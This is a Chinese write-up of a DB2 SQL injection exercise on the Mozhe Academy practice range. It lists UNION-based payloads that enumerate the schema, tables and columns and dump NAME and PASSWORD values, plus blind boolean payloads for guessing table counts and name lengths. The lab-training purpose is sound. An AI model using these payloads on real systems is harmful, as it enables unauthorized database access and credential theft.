db2数据库
这里使用的靶场为墨者学院在线靶场

确定字段数


确定回显位
id=-1 union select 1,2,3,4 from syscat.tables

查看数据库基本信息/爆库
爆表可以使用的表可以是syscat.tables,也可以是syscat.columns、sysibm.sysdummy1
- 科普时间
- sysibm.sysdummy1 表是DB2数据库中的系统表,存放着系统的相关信息

id=-1 union select 1,current schema,current server,4 from sysibm.sysdummy1
或者
id=-1 union select 1,current schema,current server,4 from syscat.tables


此时,确定库名为DB2INST1
爆表
爆表可以使用的表可以是syscat.tables,也可以是syscat.columns、sysibm.columns表
id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 1,1
或者
id=-1 union select 1,table_name,column_name,4 from sysibm.columns where table_schema=current schema limit 1,1


此时,确定表名为GAME_CHARACTER、NOTICE表

爆列
爆表可以使用的表可以是syscat.columns,也可以是sysibm.columns表
id=-1 union select 1,colname,current schema,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 0,1
id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 1,1
或者
id=-1 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 0,1




确定字段为:ID、NAME、PASSWORD、STATUS
爆字段值
id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 0,1


最后没有提交成功key

吐槽一下查询出来的key本来就有32位,以mozhe开头的格式。。。
求大佬的指点
其他用法
id=1 and 1<(select count(NAME) from SYSIBM.SYSTABLES where CREATOR=USER) //猜用户表数量

id=1 and 6<(SELECT LENGTH(NAME) FROM SYSIBM.SYSTABLES where name not in('COLUMNS') fetch first 1 rows only) //猜表长度

其他可以参考链接: DB2.

本文介绍了DB2数据库的注入过程,包括确定字段数、回显位、查看数据库基本信息、爆库、爆表、爆列和爆字段值。在靶场环境中,作者通过操作发现数据库名为DB2INST1,存在GAME_CHARACTER和NOTICE表,字段包括ID、NAME、PASSWORD和STATUS。然而,尝试获取key未果,key具有特定格式。文章还提到了sysibm.sysdummy1系统表的作用,并提供了其他DB2数据库注入的相关资源链接。
877

被折叠的 条评论
为什么被折叠?



